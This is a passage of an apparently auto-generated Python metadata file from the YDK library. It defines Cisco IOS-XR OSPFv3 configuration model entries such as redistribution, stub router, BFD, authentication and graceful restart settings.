_MetaInfoClassMember('ospfv3-or-isis-or-application', REFERENCE_LIST, 'Ospfv3OrIsisOrApplication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute.Ospfv3OrIsisOrApplication',
[], [],
''' ospfv3 or isis or application
''',
'ospfv3_or_isis_or_application',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'redistribute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes',
False,
[
_MetaInfoClassMember('redistribute', REFERENCE_LIST, 'Redistribute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes.Redistribute',
[], [],
''' Redistribute information from another routing
protocol
''',
'redistribute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'redistributes',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Ignore.Lsa' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Ignore.Lsa',
False,
[
_MetaInfoClassMember('mospf', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable ignore of MOSPF type 6 LSA
''',
'mospf',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'lsa',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Ignore' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Ignore',
False,
[
_MetaInfoClassMember('lsa', REFERENCE_CLASS, 'Lsa' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Ignore.Lsa',
[], [],
''' Do not complain upon receiving LSA of the
specified type
''',
'lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'ignore',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut.DistributeOuts.DistributeOut.AsYyAndAsXxAndProcessName' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut.DistributeOuts.DistributeOut.AsYyAndAsXxAndProcessName',
False,
[
_MetaInfoClassMember('as-xx', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' 4-byte AS number in asdot (X.Y) format -
first half (X)
''',
'as_xx',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('as-yy', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' 4-byte AS number in asdot (X.Y) format -
second half (Y), or 2-byte AS number, or
4-byte AS number in asplain format
''',
'as_yy',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('process-name', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' If ISIS or OSPFv3, specify the instance name
''',
'process_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('prefix-list', ATTRIBUTE, 'str' , None, None,
[], [],
''' Prefix-list name
''',
'prefix_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'as-yy-and-as-xx-and-process-name',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut.DistributeOuts.DistributeOut' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut.DistributeOuts.DistributeOut',
False,
[
_MetaInfoClassMember('protocol-name', REFERENCE_ENUM_CLASS, 'Ospfv3ProtocolEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3ProtocolEnum',
[], [],
''' none
''',
'protocol_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('as-yy-and-as-xx-and-process-name', REFERENCE_LIST, 'AsYyAndAsXxAndProcessName' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut.DistributeOuts.DistributeOut.AsYyAndAsXxAndProcessName',
[], [],
''' keys: as-yy, as-xx, process-name
''',
'as_yy_and_as_xx_and_process_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-out',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut.DistributeOuts' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut.DistributeOuts',
False,
[
_MetaInfoClassMember('distribute-out', REFERENCE_LIST, 'DistributeOut' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut.DistributeOuts.DistributeOut',
[], [],
''' Filter generated type-5 LSAs
''',
'distribute_out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-outs',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut',
False,
[
_MetaInfoClassMember('distribute-outs', REFERENCE_CLASS, 'DistributeOuts' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut.DistributeOuts',
[], [],
''' Filter generated type-5 LSAs
''',
'distribute_outs',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-list-out',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DistributeList.In_' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DistributeList.In_',
False,
[
_MetaInfoClassMember('prefix-list', ATTRIBUTE, 'str' , None, None,
[], [],
''' Filter prefixes based on an IPv6 prefix-list
''',
'prefix_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'in',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DistributeList' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DistributeList',
False,
[
_MetaInfoClassMember('in', REFERENCE_CLASS, 'In_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DistributeList.In_',
[], [],
''' Filter prefixes installed to RIB
''',
'in_',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-list',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.Rbit.OnStartup' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.Rbit.OnStartup',
False,
[
_MetaInfoClassMember('wait-for-bgp', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Wait until BGP converges (only applicable to
default VRF)
''',
'wait_for_bgp',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('wait-time', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'wait_time',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'on-startup',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.Rbit' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.Rbit',
False,
[
_MetaInfoClassMember('always', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Unconditionally enter stub router operational
state
''',
'always',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enabled stub router configuration mode
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-lsa', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Advertise external LSAs with modified metric in
stub router mode
''',
'external_lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('include-stub', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Advertise stub links with maximum metric in stub
router mode
''',
'include_stub',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-proc-migration', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_proc_migration',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-proc-restart', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_proc_restart',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-startup', REFERENCE_CLASS, 'OnStartup' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.Rbit.OnStartup',
[], [],
''' Enter stub router operational state on startup
''',
'on_startup',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-switchover', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_switchover',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('summary-lsa', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Advertise summary LSAs with modified metric in
stub router mode
''',
'summary_lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'rbit',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.V6Bit.OnStartup' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.V6Bit.OnStartup',
False,
[
_MetaInfoClassMember('wait-for-bgp', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Wait until BGP converges (only applicable to
default VRF)
''',
'wait_for_bgp',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('wait-time', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'wait_time',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'on-startup',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.V6Bit' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.V6Bit',
False,
[
_MetaInfoClassMember('always', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Unconditionally enter stub router operational
state
''',
'always',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enabled stub router configuration mode
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-lsa', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Advertise external LSAs with modified metric in
stub router mode
''',
'external_lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('include-stub', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Advertise stub links with maximum metric in stub
router mode
''',
'include_stub',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-proc-migration', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_proc_migration',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-proc-restart', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_proc_restart',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-startup', REFERENCE_CLASS, 'OnStartup' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.V6Bit.OnStartup',
[], [],
''' Enter stub router operational state on startup
''',
'on_startup',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-switchover', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_switchover',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('summary-lsa', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Advertise summary LSAs with modified metric in
stub router mode
''',
'summary_lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'v6bit',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.MaxMetric.OnStartup' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.MaxMetric.OnStartup',
False,
[
_MetaInfoClassMember('wait-for-bgp', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Wait until BGP converges (only applicable to
default VRF)
''',
'wait_for_bgp',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('wait-time', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'wait_time',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'on-startup',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.MaxMetric' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.MaxMetric',
False,
[
_MetaInfoClassMember('always', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Unconditionally enter stub router operational
state
''',
'always',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enabled stub router configuration mode
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-lsa', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Advertise external LSAs with modified metric in
stub router mode
''',
'external_lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('include-stub', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Advertise stub links with maximum metric in stub
router mode
''',
'include_stub',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-proc-migration', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_proc_migration',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-proc-restart', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_proc_restart',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-startup', REFERENCE_CLASS, 'OnStartup' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.MaxMetric.OnStartup',
[], [],
''' Enter stub router operational state on startup
''',
'on_startup',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-switchover', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_switchover',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('summary-lsa', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Advertise summary LSAs with modified metric in
stub router mode
''',
'summary_lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'max-metric',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter',
False,
[
_MetaInfoClassMember('max-metric', REFERENCE_CLASS, 'MaxMetric' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.MaxMetric',
[], [],
''' Stub router max-metric configuration
''',
'max_metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('rbit', REFERENCE_CLASS, 'Rbit' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.Rbit',
[], [],
''' Stub router R-bit configuration
''',
'rbit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('v6bit', REFERENCE_CLASS, 'V6Bit' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter.V6Bit',
[], [],
''' Stub router V6-bit configuration
''',
'v6bit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'stub-router',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Bfd' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Bfd',
False,
[
_MetaInfoClassMember('detection-multiplier', ATTRIBUTE, 'int' , None, None,
[('2', '50')], [],
''' Detect multiplier
''',
'detection_multiplier',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-detect-mode', REFERENCE_ENUM_CLASS, 'Ospfv3BfdEnableModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3BfdEnableModeEnum',
[], [],
''' Enable or disable BFD fast detection
''',
'fast_detect_mode',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interval', ATTRIBUTE, 'int' , None, None,
[('3', '30000')], [],
''' Hello interval in milli-seconds
''',
'interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'bfd',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DatabaseFilter.All' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DatabaseFilter.All',
False,
[
_MetaInfoClassMember('out', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable out
''',
'out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'all',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DatabaseFilter' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DatabaseFilter',
False,
[
_MetaInfoClassMember('all', REFERENCE_CLASS, 'All' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DatabaseFilter.All',
[], [],
''' All
''',
'all',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'database-filter',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.GracefulRestart' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.GracefulRestart',
False,
[
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable graceful restart
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('helper', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Disable router's helper support
''',
'helper',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interval', ATTRIBUTE, 'int' , None, None,
[('90', '3600')], [],
''' Minimum interval between graceful restarts
(seconds)
''',
'interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('lifetime', ATTRIBUTE, 'int' , None, None,
[('90', '1800')], [],
''' Maximum route lifetime following restart
(seconds)
''',
'lifetime',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('strict-lsa-checking', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Terminate graceful restart helper mode if LSA
changed
''',
'strict_lsa_checking',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'graceful-restart',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DefaultInformation.Originate' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DefaultInformation.Originate',
False,
[
_MetaInfoClassMember('always', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Always advertise default route
''',
'always',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' OSPFv3 default metric
''',
'metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', ATTRIBUTE, 'int' , None, None,
[('1', '2')], [],
''' OSPFv3 metric type for default routes
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('route-policy-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Route policy to default-information
origination
''',
'route_policy_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Tag for default route
''',
'tag',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'originate',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DefaultInformation' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DefaultInformation',
False,
[
_MetaInfoClassMember('originate', REFERENCE_CLASS, 'Originate' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DefaultInformation.Originate',
[], [],
''' Distribute a default route
''',
'originate',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'default-information',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
